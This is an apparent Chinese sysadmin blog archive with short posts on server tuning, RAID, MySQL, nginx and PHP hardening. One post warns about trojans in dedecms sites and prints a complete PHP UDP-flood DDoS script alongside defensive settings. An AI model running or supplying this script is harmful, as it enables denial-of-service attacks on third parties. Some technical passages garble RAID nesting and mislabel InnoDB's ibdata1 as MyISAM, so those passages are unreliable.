作者归档:SK

关于SK

服务器维护 服务器配置 服务器 维护 运维 网管 系统调优 网络调优 数据库优化

LAMP应用架构部署指南-PHP安装及设置

1.
本文将以php 5.2.5为例,以CentOS 5为平台,讲述PHP的安装和设置。

2. 关于PHP
PHP(“PHP: Hypertext Preprocessor”,超文本预处理器的字母缩写)是一种被广泛应用的开放源代码的多用途脚本语言,它可嵌入到 HTML中,尤其适合 web 开发。
PHP 主要是用于服务端的脚本程序,因此可以用 PHP 来完成任何其它的 CGI 程序能够完成的工作,例如收集表单数据,生成动态网页,或者发送/接收 Cookies。但 PHP 的功能远不局限于此。
PHP 脚本主要用于以下三个领域:  继续阅读

一次linux服务器性能优化过程

前段时间客户一服务器出现了一个奇怪的现象,一台配置不错的服务器,64G内存,2颗十二核CPU,连着一台存储,系统负载不规律的每过一段时间就非常高,高的时候维持在四五十,而这个时候呢,通过各种命令(top、vmstat、iostat、ifstat、sar)查看,各项资源都不是一般的闲,一时间摸不着头脑。 继续阅读

温故而知新-raid级别

RAID是Redundant Array of Inexpensive Disk的缩写,意为廉价冗余磁盘阵列,是磁盘阵列在技术上实现的理论标准,其目的在于减少错误、提高存储系统的性能与可靠度。常用的等级有0、1、3、5级等。

1.什么是RAID Level 0?
RAID Level 0是Data Striping(数据分割)技术的实现,它将所有硬盘构成一个磁盘阵列,可以同时对多个硬盘做读写动作,但是不具备备份及容错能力,它价格便宜,硬盘使 用效率最佳,但是可靠度是最差的。以一个由两个硬盘组成的RAID Level 0磁盘阵列为例,它把数据的第1和2位写入第一个硬盘,第三和第四位写入第二个硬盘……以此类推,所以叫“数据分割”,因为各盘数据的写入动作是同时做 的,所以它的存储速度可以比单个硬盘快几倍。但是,这样一来,万一磁盘阵列上有一个硬盘坏了,由于它把数据拆开分别存到了不同的硬盘上,坏了一颗等于中断 了数据的完整性,如果没有整个磁盘阵列的备份磁带的话,所有的数据是无法挽回的。因此,尽管它的效率很高,但是很少有人冒着数据丢失的危险采用这项技术。

2.什么是RAID Level 1?
RAID Level 1使用的是Disk Mirror(磁盘映射)技术,就是把一个硬盘的内容同步备份复制到另一个硬盘里,所以具备了备份和容错能力,这样做的使用效率不高,但是可靠性高。

3.什么是RAID Level 3?
RAID Level 3采用Byte-interleaving(数据交错存储)技术,硬盘在SCSI控制卡下同时动作,并将用于奇偶校验的数据储存到特定硬盘机中,它具备了容错能力,硬盘的使用效率是安装几个就减掉一个,它的可靠度较佳。

4.什么是RAID Level 5?
RAID Level 5使用的是Disk Striping(硬盘分割)技术,与Level 3的不同之处在于它把奇偶校验数据存放到各个硬盘里,各个硬盘在SCSI控制卡的控制下平行动作,有容错能力,跟Level 3一样,它的使用效率也是安装几个再减掉一个。

5、什么是RAID 0+1﹝RAID 10﹞

RAID 0+1/RAID 10,综合了RAID 0 和 RAID 1的优点,适合用在速度 需求高,又要完全容错,当然经费也很多的应用。RAID 0和RAID 1的原理很简单,合起来之后还是很简单,我们不打算详细介绍,倒是要谈谈, RAID 0+1到底应该是RAID 0 over RAID 1,还是RAID 1 over RAID 0,也就是说,是把多个RAID 1 做成 RAID 0,还是把多个RAID 0 做成RAID 1?

RAID 0 over RAID 1

假设我们有四台磁盘驱动器,每两台磁盘驱动器先做成RAID 1,再把两个RAID 1做成RAID 0,这就是RAID 0 over RAID 1:

(RAID 1) A = Drive A1 + Drive A2 (Mirrored)
(RAID 1) B = Drive B1 + Drive B2 (Mirrored)
RAID 0 = (RAID 1) A + (RAID 1) B (Striped)

RAID 1 over RAID 0

假设我们有六台磁盘驱动器,每两台磁盘驱动器先做成RAID 0,再把两个RAID 0做成RAID 1,这就是RAID 0 over RAID 1:

(RAID 0) A = Drive A1 + Drive A2 (Striped)
(RAID 0) B = Drive B1 + Drive B2 (Striped)
RAID 1 = (RAID 1) A + (RAID 1) B (Mirrored)

在这种架构之下,如果 (RAID 0) A有一台磁盘驱动器故障,(RAID 0) A就算毁了,当然RAID 1仍然可以正常工作;如果这时  (RAID 0) B也有一台磁盘驱动器故障,(RAID 0) B也就算毁了,此时RAID 1的两磁盘驱动器都算故障,整个RAID 1资料就毁了。

因此,RAID 0 OVER RAID 1应该比RAID 1 OVER RAID 0具备比较高的可靠度。所以我们建议,当采用RAID 0+1/RAID 10架构时,要先作RAID 1,再把数个RAID 1做成RAID 0。

RAID级别的优点和缺点 :

RAID 0 存取速度最快 没有容错
RAID 1 完全容错 成本高
RAID 3 写入性能最好 没有多任务功能
RAID 4 具备多任务及容错功能 Parity 磁盘驱动器造成性能瓶颈
RAID 5 具备多任务及容错功能 写入时有overhead
RAID 0+1/RAID 10 速度快、完全容错 成本高

盛大云让你伤不起啊!

云计算的瓶颈在磁盘IO这个大家也许能想到,要是后端用上高级的混合存储和相应的IO limit算法,我想应该比较好,但是盛大缺用单盘,真是让大家伤不起!

因为一块物理磁盘的损坏,盛大云主机的客户数据就此丢失。盛大云对此解释称,“物理磁盘的损坏很难避免”,并建议用户,“为了避免您的意外损失,请在盛大云主机之外,也做好数据备份。”分析人士指出,盛大云丢失用户是给国内狂热的或是冒牌的云计算商敲了警钟。“放弃了对数据安全重视的云是没有生命力的。”

业内人士称从数据丢失一事来分析,盛大云应该只是采取了本地存储,没有进行备份。一般而言,云存储服务商都会将数据备份3份,“盛大云做的很业余。”

网友郭荣说,云计算是把底层的物理硬件架构进行封装然后以IT服务的形式交付给用户使用,就是说用户不需要去关心底层的硬件架构和技术。盛大面对这样低级的故障所做的解析和处理方式很业余,不但推卸责任而且让客户更加失去信心。 继续阅读

【转】在线热切换innodb表空间

MyIsAM 是一个非常不错的 MySQL 的存储引擎,目前使用非常广泛基本所有的网站和项目,我想都会优先选择这个,这个也有很好的诊断和微调的工具.我发现其中一个缺点,就是磁盘空间管理时设计非常低效.这个设计成给所有数据都存到 ibdata1 文件,所以这个文件的存储空间会不断的扩展.MyIsAM 并不会收缩这些空间,就算你删除表和数据库. 继续阅读

Linux下高并发socket调整

Linux下高并发socket最大连接数所受的限制问题

1、修改用户进程可打开文件数限制

在Linux平台上,无论编写客户端程序还是服务端程序,在进行高并发TCP连接处理时,最高的并发数量都要受到系统对用户单一进程同时可打开文件数量的限制(这是因为系统为每个TCP连接都要创建一个socket句柄,每个socket句柄同时也是一个文件句柄)。可使用ulimit命令查看系统允许当前用户进程打开的文件数限制: 继续阅读

php发送大量UDP攻击包的警告

从2010年到现在基于php发送大量UDP数据包的php木马相当流行,主要附属于dedecms(织梦cms)。会导致服务器间歇性断网,网卡发送大量的数据,导致网络堵塞,危害较大。这里特别请求广大站长别再使用织梦cms发布系统。

 RX bytes:28991967155 (28.9 GB)  TX bytes:437305805252 (437.3 GB)

织梦系统是基于非安全模式下进行开发,以下的加固方法会直接导致织梦系统的采集功能以及发布等不能正常使用。织梦cms系统调用了很多危险的php系统函数,这些函数会和木马一样具有强大的功能。

php的ddos代码如下:

<?php  

$packets = 0;  

$ip = $_POST['ip'];  

$rand = $_POST['port'];  

set_time_limit(0);  

ignore_user_abort(FALSE);  

$exec_time = $_POST['time'];  

$time = time();  

print "Flooded: $ip on port $rand <br><br>";  

$max_time = $time+$exec_time;  

for($i=0;$i<65535;$i++){  

        $out .= "X";  

}  

while(1){  

$packets++;  

        if(time() > $max_time){  

                break;  

        }  

        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  

        if($fp){  

                fwrite($fp, $out);  

                fclose($fp);  

        }  

}  

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";  

?>

有些版本有“phpddos 仅供教学使用 或者xx是骗子之类的字符”。

可以看出php会随机发送大小的udp包,请求方式是通过url访问,以达到攻击别人的目的。调用了fsockopen函数。

请求的url类似

http://www.cntv.cn/xxx/xx/inc/newfile.php?host=1.2.3.4&port=80&time=1200

针对此类的ddos网络攻击我们建议做以下的安全加固:

1.开启php的安全模式,safe_mod=on

2.关闭函数disable_functions=gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_alter,ini_restore,dl,fsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,fwrite,
fclose

3.fopen allow_url_fopen = Off 关闭php请求远程url ,这个很多系统里面有调用,请考虑其他方式实现。

4.通过防火墙丢弃掉udp包

;linux

iptables -I OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT

iptables -A OUTPUT -p udp -j DROP
windows请用ipsec做以处理

5.这里再次呼吁广大站长请勿再继续试用织梦cms发布系统,此系统极为不安全。

 

dedecms 木马

windows下注册nginx服务

假设nginx安装在c:\nginx\下:
1.下载微软服务注册工具srvany.exe, instsrv.exe, srvany-instsrv存放到c:\nginx\目录下
2.安装Nginx服务, 将命令行切换到c:\nginx\,执行下列命令
instsrv NGINX c:\nginx\srvany.exe
3.在c:\nginx\下,新建一个nginx.reg文件,输入一下内容:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NGINX\Parameters]
“Application”=”C:\\nginx\\nginx.exe”
“AppParameters”=””
“AppDirectory”=”C:\\nginx\\”
5.让服务与程序关联起来, 命令行执行
regedit /s nginx.reg
6.从服务启动NGINX服务即可

如何确定你最优的innodb日志文件大小

pager grep sequence ;过滤关键字
show engine innodb status\G select sleep(60); show engine innodb status\G;查看一分钟的log sequence的日志号范围
Log sequence number 95273222542
1 row in set (0.00 sec)

1 row in set (1 min 0.00 sec)

Log sequence number 95273302943

select (95273302943 – 95273222542) / 1024 / 1024 as MB_per_min;得到每分钟的日志大小

然后根据每分钟日志文件大小除以innodb的日志文件个数,得到单个日志文件大小。

nginx配置SSL

使用OpenSSL生成证书

1、生成RSA密钥的方法

openssl genrsa -des3 -out privkey.pem 2048
这个命令会生成一个2048位的密钥,同时有一个des3方法加密的密码,如果你不想要每次都输入密码,可以改成:
openssl genrsa -out privkey.pem 2048
建议用2048位密钥,少于此可能会不安全或很快将不安全。

2、生成一个证书请求
openssl req -new -key privkey.pem -out cert.csr
这个命令将会生成一个证书请求,当然,用到了前面生成的密钥privkey.pem文件
这里将生成一个新的文件cert.csr,即一个证书请求文件,你可以拿着这个文件去数字证书颁发机构(即CA)申请一个数字证书。CA会给你一个新的文件cacert.pem,那才是你的数字证书。

如果是自己做测试,那么证书的申请机构和颁发机构都是自己。就可以用下面这个命令来生成证书:
openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095
这个命令将用上面生成的密钥privkey.pem生成一个数字证书cacert.pem

配置nginx

server
{
  listen 443;
  ssl on;
  ssl_certificate /var/www/sslkey/cacert.pem;
  ssl_certificate_key /var/www/sslkey/privkey.pem;
  server_name www.sklinux.com;
  index index.html index.htm index.php;
  root /var/www/sklinux.com;
}